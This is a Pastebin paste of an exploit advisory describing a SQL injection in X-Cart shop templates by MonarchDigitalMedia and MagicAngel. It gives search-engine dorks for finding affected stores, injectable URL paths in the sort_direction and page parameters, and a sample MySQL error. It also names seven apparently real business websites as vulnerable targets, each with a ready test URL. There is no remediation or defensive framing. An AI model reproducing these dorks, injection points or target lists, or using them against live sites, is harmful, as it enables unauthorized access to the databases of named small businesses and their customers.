API tools faq
paste
KingSkrupellos

X-Cart DesignHouse MonarchDigitalMedia MagicAngel SQL Inj

KingSkrupellos
Aug 28th, 2019
118
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.64 KB | None | 0 0
raw download clone embed print report
  1. ###################################################################
  2.  
  3. # Exploit Title : X-Cart DesignHouse MonarchDigitalMedia MagicAngel SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 29/08/2019
  7. # Vendor Homepage : x-cart.com - monarchdigitalmedia.com - magicangel.net
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  14. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  15. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  16.  
  17. ###################################################################
  18.  
  19. # Impact :
  20. ***********
  21. X-Cart DesignHouse MonarchDigitalMedia MagicAngel is prone to an SQL-injection
  22. vulnerability because it fails to sufficiently sanitize user-supplied data before using it
  23. in an SQL query. Exploiting this issue could allow an attacker to compromise the
  24. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  25. A remote attacker can send a specially crafted request to the vulnerable application and
  26. execute arbitrary SQL commands in application`s database. Further exploitation of this
  27. vulnerability may result in unauthorized data manipulation.
  28. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  29.  
  30. ###################################################################
  31.  
  32. intext:Powered by X-Cart ecommerce shopping cart software
  33. intext:Powered by MagicAngel.net Shopping Cart Designs MagicAngel.net
  34. intext:Copyright © 2009-2019 Circle Japan Grocery & Cafe
  35. intext:Copyright © 2010-2019 Woosung America Corp.
  36. intext:Powered by MDM Copyright © 1999-2019 Razzle Dazzle
  37. intext:Powered by X-Cart ecommerce software Copyright © 2008-2019 Skrub Creative Services
  38.  
  39. # SQL Injection Exploit :
  40. **********************
  41. /store/home.php?cat=[ID-NUMBER]&&sort=price&sort_direction=[SQL Injection]
  42.  
  43. /home.php?cat=[ID-NUMBER]&&sort=price&sort_direction=[SQL Injection]
  44.  
  45. /store/home.php?cat=[ID-NUMBER]&sort=title&sort_direction=[ID-NUMBER]&page=[SQL Injection]
  46.  
  47. /home.php?cat=[ID-NUMBER]&sort=title&sort_direction=[ID-NUMBER]&page=[SQL Injection]
  48.  
  49. /home.php?cat=[ID-NUMBER]&&page=[ID-NUMBER]&sort=orderby&sort_direction=[SQL Injection]
  50.  
  51. ###################################################################
  52.  
  53. # Example Vulnerable Sites :
  54. *************************
  55. [+] proflexpersonnel.com/store/home.php?cat=1&&sort=price&sort_direction=1%27
  56.  
  57. [+] circlejapan.com/store/home.php?cat=253&sort=title&sort_direction=1&page=1%27
  58.  
  59. [+] sfwoosung.com/home.php?cat=315&&page=10&sort=orderby&sort_direction=1%27
  60.  
  61. [+] razzledazzlecleaner.com/home.php?cat=248&&sort=price&sort_direction=1%27
  62.  
  63. [+] livelifeorganics.com/store/home.php?cat=1&&sort=price&sort_direction=1%27
  64.  
  65. [+] displaysolutionsstore.com/store/home.php?cat=1&&sort=price&sort_direction=1%27
  66.  
  67. [+] trinaturedistributor.com/store/home.php?cat=1&&sort=price&sort_direction=1%27
  68.  
  69. ###################################################################
  70.  
  71. # Example SQL Database Error :
  72. ****************************
  73. You have an error in your SQL syntax; check the manual
  74. that corresponds to your MySQL server version for the right syntax to use near
  75. 'OPTION SQL_BIG_SELECTS=1' at line 1
  76. SQL QUERY FAILURE:SET OPTION SQL_BIG_SELECTS=1
  77.  
  78. ###################################################################
  79.  
  80. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  81.  
  82. ###################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!